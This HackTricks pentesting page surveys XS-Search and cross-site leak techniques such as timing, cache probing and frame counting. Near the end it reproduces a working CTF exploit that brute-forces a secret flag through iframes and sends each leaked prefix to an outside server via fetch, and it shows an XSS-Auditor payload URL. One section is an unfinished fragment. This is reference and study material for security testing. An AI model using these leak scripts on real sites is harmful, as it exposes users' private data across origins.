hacktricks/pentesting-web/xs-search.md
2022-06-27 16:53:32 +00:00

25 KiB
Raw Blame History

XS-Search

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.

The best resource to learn XS-Search is https://xsleaks.dev/

Time attack

[Data Leak]
Measuring the time of a response that search for info, it's possible to leak if the info exists.
For more info: https://xsleaks.dev/docs/attacks/xs-search/

Clocks: The performance.now() API allows developers to get high-resolution timing measurements.
There are a considerable number of APIs attackers can abuse to create implicit clocks: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, and others**.**
****For more info: https://xsleaks.dev/docs/attacks/timing-attacks/clocks/

Network Timing

Several events can be timed using the mentioned clocks, such as requests, onload and unload events, cross-windows loads...
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/

Performance API

The Performance API provides access to performance-related information enhanced by the data from the Resource Timing API which provides the timings of network requests such as the duration but when theres a Timing-Allow-Origin: * header sent by the server the transfer size and domain lookup time is also provided.
This data can be accessed by using performance.getEntries or performance.getEntriesByName It can also be used to get the execution time using the difference of performance.now() however this seems to be less precise for a chrome fetch because it only provides the milliseconds.

This API can be used to measure the time of a request or to detect the use of X-Frame-Options as the blocked page won't be added to the performance object in Chrome.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/

Execution Timing

Timing the Event Loop

JavaScripts concurrency model is based on a single-threaded event loop which means it can only run one task at a time.
Inferring how long code from a different origin takes to run by measuring how long it takes to run next in the event pool. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an attacker infers the time difference by detecting if a delay occurred with one of its tasks.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop

Busy Event Loop

An attacker could locking the event loop of a thread and timing how long it takes for the event loop to become available again. One of the main advantages of this technique is its ability to circumvent Site Isolation, as an attacker origin can influence the execution of another origin.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop

Service Workers

  1. The attacker registers a service worker in one of their domains (attacker.com).
  2. In the main document, the attacker issues a navigation (window.open) to the target website and instructs the Service Worker to start a timer.
  3. When the new window starts loading, the attacker navigates the reference obtained in step 2 to a page handled by the Service Worker.
  4. When the request performed in step 3 arrives at the service worker, it returns a 204 (No Content) response, which aborts the navigation.
  5. At this point, the Service Worker collects a measurement from the timer started in step 2. This measurement is affected by how long JavaScript blocked the navigation.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers

jQuery, CSS Selectors & Short-circuit Timing

If jQuery(location.hash) sdf

Window References

If a page sets its opener property to null or is using COOP protection depending on the users' state, it's possible to check the status of the user.
For more info: https://xsleaks.dev/docs/attacks/window-references/

CSS Tricks

CSS can be used to trick a user into exposing information such as embedded pixel values by making visual changes that are affected by the embed. It could be also used to exfiltrate the history or autocomplete passwords.
For more info: https://xsleaks.dev/docs/attacks/css-tricks/

Error Events

When a webpage tries to load an URL if the response has an error status an error event is fired. This helps to find out things like for example if the current user had access to the requested data.
For more info: https://xsleaks.dev/docs/attacks/error-events/

Frame Counting

Counting the number of frames in a web opened via iframe or window.open might help to identify the status of the user over that page.
Moreover, if the page has always the same number of frames, checking continuously the number of frames might help to identify a pattern that might leak info.
For more info: https://xsleaks.dev/docs/attacks/frame-counting/

Navigations

Detecting if a cross-site page triggered a navigation (or didnt) can leak the status of the user in the page.
For more info: https://xsleaks.dev/docs/attacks/navigations/

Download Trigger

If only a logged in user would be able to access a page which will download a file because it's using the Content-Disposition: attachment header. It'o possible to detect that behaviour.
For more info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger

Server-Side Redirects

If a server-side redirect uses user input inside the redirection and extra data. It's possible to detect this behaviour because usually servers has a limit request length. If the user data is that length - 1, because the redirect is using that data and adding something extra, it will trigger an error detectable via Error Events.
For more info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects

Cross-Origin Redirects

An attacker could inject a CSP using meta tags using the connect-src which triggers a Violation event every time a fetch follows an URL not set in the CSP directive. This allows an attacker to detect if a redirect to another origin occurred.
For more info: https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects

Cache Probing

Because under certain (generic) conditions resources are cached by the browser, it would be possible to know for example if a user has accessed a page by checking if some resource of that page has been cached.
For more info: https://xsleaks.dev/docs/attacks/cache-probing/

Timing

You could use a timing technique to check if the resource was cached.

Error Events

If a page loads an image only if the user is logged in, you can invalidate the resource (so it's no longer cached if it was), perform a request that could load that resource and try to load the resource with a bad request (e.g. using an overlong referer header). If the resource load didn't trigger any error, it's because it was cached.
For more info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events

CORS error on Origin Reflection misconfiguration

In case the Origin header is being reflected in the header Access-Control-Allow-Origin an attacker can abuse this behaviour to try to fetch the resource in CORS mode. If an error isn't triggered, it means that it was correctly retrieved form the web, if it's triggered, it's because it was accessed from the cache.
****Note that if the origin isn't reflected but a wildcard is used (Access-Control-Allow-Origin: *) this won't work.
****For more info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration

Fetch with AbortController

AbortController **** could be combined with fetch and setTimeout to both detect whether the resource is cached and to evict a specific resource from the browser cache. A nice feature of this technique is that the probing occurs without caching new content in the process.
For more info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller

Performance API

Using the Performance API it's possible to check if a resource is cached.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

Partitioned HTTP Cache Bypass

If a site example.com includes a resource from *.example.com/resource then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level eTLD+1 and frame eTLD+1. 3

Before accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.

For more info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass

Element Leaks

HTMLElements

Some HTMLElements will leak some information to cross-origins such as the type of media they are.

For more info: https://xsleaks.dev/docs/attacks/element-leaks/

Abusing CORB

CORB is a feature of Chrome that makes responses empty if the wrong content type is used. This means that if the type is wrong its not cached, so it's possible to infer the type of the media.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-corb

Abusing getComputedStyle

getComputedStyle can be used to read an embedded to the current page CSS style sheets. Including those loaded from different origins.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle

PDF

There are Open URL Parameters that allow some control over the content such as zoom, view, page, toolbar.
For chrome, a PDF can be detected with frame counting because an embed is used internally.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/#pdf

Script Tag

When a cross-origin script is included on a page its not directly possible to read its contents. However, if a script uses any built-in functions, its possible to overwrite them and read their arguments which might leak valuable information.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

Without Javascript

If JavaScript is disabled its still possible to leak some information about cross-origin resources. For example, an <object> can be used to detect **whether a resource responds with **Error Code. What happens is that if a resource //example.org/resource returns an error in <object data=//example.org/resource>fallback</object> then fallback will be rendered. Its possible to inject another <object> inside that will leak the information to an outside server, or detect it with CSS.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/#when-javascript-cant-be-used

ID Leak

It's possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists.
For more info: https://xsleaks.dev/docs/attacks/id-attribute/
You can perform the same attack with portal tags, for more info: https://xsleaks.dev/docs/attacks/experiments/portals/

postMessage Broadcasts

Applications often use postMessage broadcasts to share information with other origins. Listening to this messages one cloud find sensitive info (potentially if the the targetOrigin param is not used).
Also, the fact of receiving some message can be used as an oracle (you only receive this kind of message if you are logged in).
For more info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/

CORB & CORP Leaks

You can find what is CORP in this page.
You can find what is CORB in this page.

A page could leak if it's using these headers to protect in some specific cases.
For more info: https://xsleaks.dev/docs/attacks/browser-features/corb/ and https://xsleaks.dev/docs/attacks/browser-features/corp/

XS-Search - Iframe

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF like in the previous situation). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without meassuring the time.

Iframe Chrome XSS Auditor

Imagine the same situation as in the Timing attack method and you also know that the admin is using a Chrome browser (for example, Chrome-headless) with Chrome XSS Auditor.

Then, you can use iframes to make the victim search for the page containing "flagX" (beeing X any possible character)inside a loop, and you also add to the URL inside the iframes a fake parameter that contains javascript code that will only appear when a valid content is retrived.

For example, if when you search for the content _"my file"_ the web server responds with a page that includes this javascript code:

<script>console.log("you found someting");</script>

If you send a query like:

www.victim.com/search?q=my+file&fake_xss=<script>console.log("you+found+something");<script>

The Chrome XSS Auditor will block the page and an error will appear.

Then, you can use Chrome XSS Auditor to launch an error when a valid response is sent from the victim server. Then, with the Iframe trick you can detect when you have find a file that contains "flag" and the next valid character.

For more information: https://www.youtube.com/watch?v=HcrQy0C-hEA

Abusing Chrome XSS Auditor to steal tokens

Using the previous technique (with Chrome XSS Auditor) you can steal chunks of the code returned to a user (like tokens for example). For more information: https://portswigger.net/blog/abusing-chromes-xss-auditor-to-steal-tokens

Please, notice that you will steal information returned to a user and not any code from the web server.

Custom Detection

In the fbcft2019 the challenge: secret note keeper was resolved exploiting a XS-Search.

You could make the administrator (a headlessChrome) visit any page and there was a CSRF vulnerable page that was able to search files by content. You also knew that the flag starts by fb{ and only the admin had access to it.

It was also important to notice that when you made a search, the results of the seach appeared inside an iframe (if something was found). And none iframe appeared if anything was found.

So, you could make the admin visit your exploit that will be a loop of every possible charater inside fb{X inside an iframe. And using:

contentWindow.frames.length != 0

You could check how many iframes where created inside your iframe, and if any, then the character would be correct and you could start extracting the next one.

This is a code example of this from: https://sectt.github.io/writeups/FBCTF19/secret_note_keeper/README

<!DOCTYPE html>
<html>

<head>
    <title>fbctf secret note keeper</title>
</head>

<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');

function search(leak, charCounter) {
    var curChar = chars[charCounter];
    //Chek if the character is valid
    x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
    document.body.appendChild(x);
    console.log("leak = " + leak + curChar);
    //When the page inside the iframe is loaded
    x.onload = () => {
    //Check the number of iframes inside
        if (x.contentWindow.frames.length != 0) {
        // If 1 or more, then, the character was valid
            fetch('http://myserver/leak?' + escape(leak), {
                method: "POST",
                mode: "no-cors",
                credentials: "include"
            });
            leak += curChar
        }
        search(leak, (charCounter + 1) % chars.length);
    }
}

function exploit() {
    search("fb{", 0);
}

exploit();
</script>

</html>

More information

{% embed url="https://github.com/xsleaks/xsleaks" %}

https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.